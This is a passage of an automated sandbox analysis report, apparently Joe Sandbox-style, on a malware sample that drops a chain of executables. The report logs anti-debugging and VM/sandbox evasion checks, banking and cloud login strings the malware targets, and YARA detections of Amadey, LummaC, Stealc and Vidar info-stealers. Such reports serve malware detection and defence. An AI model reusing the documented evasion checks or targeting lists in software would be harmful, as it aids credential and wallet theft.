Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: HJKJKKKJ.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: HJKJKKKJ.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: HJKJKKKJ.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: HJKJKKKJ.1.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: HJKJKKKJ.1.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000001.00000002.1918898498.00000000238A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696492231x
Source: HJKJKKKJ.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: HJKJKKKJ.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000001.00000002.1877420481.0000000001432000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1877420481.0000000001404000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2565129579.000000000126A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2565129579.0000000001239000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.0000000001689000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.0000000001698000.00000004.00000020.00020000.00000000.sdmp, ef7381e244.exe, 00000025.00000002.2528677354.0000000000F10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc Zsp
Source: HJKJKKKJ.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: HJKJKKKJ.1.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000001.00000002.1918898498.00000000238A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8RECOVE~11c3bankoRecoveryImprovedVMware20,11696492231x
Source: HJKJKKKJ.1.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: skotes.exe, 0000001F.00000002.1982923255.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HgFSd
Source: file.exe, 00000001.00000002.1877420481.0000000001432000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:ocalq[,He
Source: HJKJKKKJ.1.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: skotes.exe, 00000020.00000002.2565129579.000000000124E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\:
Source: HJKJKKKJ.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: HJKJKKKJ.1.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareyh
Source: HJKJKKKJ.1.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: ef7381e244.exe, 00000025.00000002.2528677354.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HJKJKKKJ.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: HJKJKKKJ.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: HJKJKKKJ.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: HJKJKKKJ.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: HJKJKKKJ.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: HJKJKKKJ.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: skotes.exe, skotes.exe, 00000020.00000002.2546990014.0000000000275000.00000040.00000001.01000000.0000000E.sdmp, dd3583c805.exe, dd3583c805.exe, 00000023.00000002.2563330732.0000000000C0B000.00000040.00000001.01000000.0000000F.sdmp, ff628321ee.exe, 00000024.00000002.2546772103.0000000000E79000.00000040.00000001.01000000.00000010.sdmp, ef7381e244.exe, 00000025.00000002.2517788163.0000000000445000.00000040.00000001.01000000.00000011.sdmp, ff628321ee.exe, 00000027.00000002.2563758612.0000000000E79000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllqq`
Source: HJKJKKKJ.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: HJKJKKKJ.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: DocumentsFIDGDAKFHI.exe, 0000001C.00000003.1870736863.000000000147F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BH
Source: ef7381e244.exe, 00000025.00000002.2528677354.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPJ
Source: HJKJKKKJ.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: HJKJKKKJ.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: HJKJKKKJ.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: HJKJKKKJ.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: dd3583c805.exe, 00000023.00000002.2571643369.0000000001794000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: dd3583c805.exe, 00000023.00000003.2342382927.0000000001733000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz
Source: HJKJKKKJ.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: HJKJKKKJ.1.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: HJKJKKKJ.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: HJKJKKKJ.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000001.00000002.1875535629.00000000005E5000.00000040.00000001.01000000.00000003.sdmp, DocumentsFIDGDAKFHI.exe, 0000001C.00000002.1950370881.0000000000D15000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001F.00000002.1981324357.0000000000275000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000020.00000002.2546990014.0000000000275000.00000040.00000001.01000000.0000000E.sdmp, dd3583c805.exe, 00000023.00000002.2563330732.0000000000C0B000.00000040.00000001.01000000.0000000F.sdmp, ff628321ee.exe, 00000024.00000002.2546772103.0000000000E79000.00000040.00000001.01000000.00000010.sdmp, ef7381e244.exe, 00000025.00000002.2517788163.0000000000445000.00000040.00000001.01000000.00000011.sdmp, ff628321ee.exe, 00000027.00000002.2563758612.0000000000E79000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HJKJKKKJ.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe

Code function: 35_2_071409DE Start: 07140A7A End: 07140A76

35_2_071409DE

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFIDGDAKFHI.exe

Code function: 28_2_054F0DA5 rdtsc

28_2_054F0DA5

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6CF4AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_000B652B mov eax, dword ptr fs:[00000030h]		32_2_000B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_000BA302 mov eax, dword ptr fs:[00000030h]		32_2_000BA302

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6CF4AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7381e244.exe PID: 2960, type: MEMORYSTR

Detected PureCrypter Trojan

Source: ff628321ee.exe, 00000024.00000002.2629165395.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-1-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-12,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-66,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1:458225,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-4-26,P-R-1052391-1-8,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-486,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.2903.48"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeShoppingProductTrackingAlertSettings":{"enableFeatures":["msShoppingExp50"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"Passwo

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDGDAKFHI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIDGDAKFHI.exe "C:\Users\user\DocumentsFIDGDAKFHI.exe"
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe "C:\Users\user~1\AppData\Local\Temp\1009648001\dd3583c805.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe "C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe "C:\Users\user~1\AppData\Local\Temp\1009654001\ef7381e244.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF94760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

1_2_6CF94760

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE71C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

1_2_6CE71C30

Source: 38e11d9cb7.exe.32.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, file.exe, 00000001.00000002.1875535629.00000000005E5000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: V4WProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF4AE71 cpuid

1_2_6CF4AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009655001\38e11d9cb7.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009655001\38e11d9cb7.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CF4A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_6CF4A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 32_2_000865E0 LookupAccountNameA,

32_2_000865E0

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE98390 NSS_GetVersion,

1_2_6CE98390

Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: procmon.exe
Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 28.2.DocumentsFIDGDAKFHI.exe.b20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.skotes.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.skotes.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2545609227.0000000000081000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.1940928200.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1863507390.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2106411641.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1981189738.0000000000081000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1950247019.0000000000B21000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.1874484736.0000000000221000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2471979549.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1297316398.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2528677354.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1877420481.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2515345753.0000000000081000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7381e244.exe PID: 2960, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7316, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

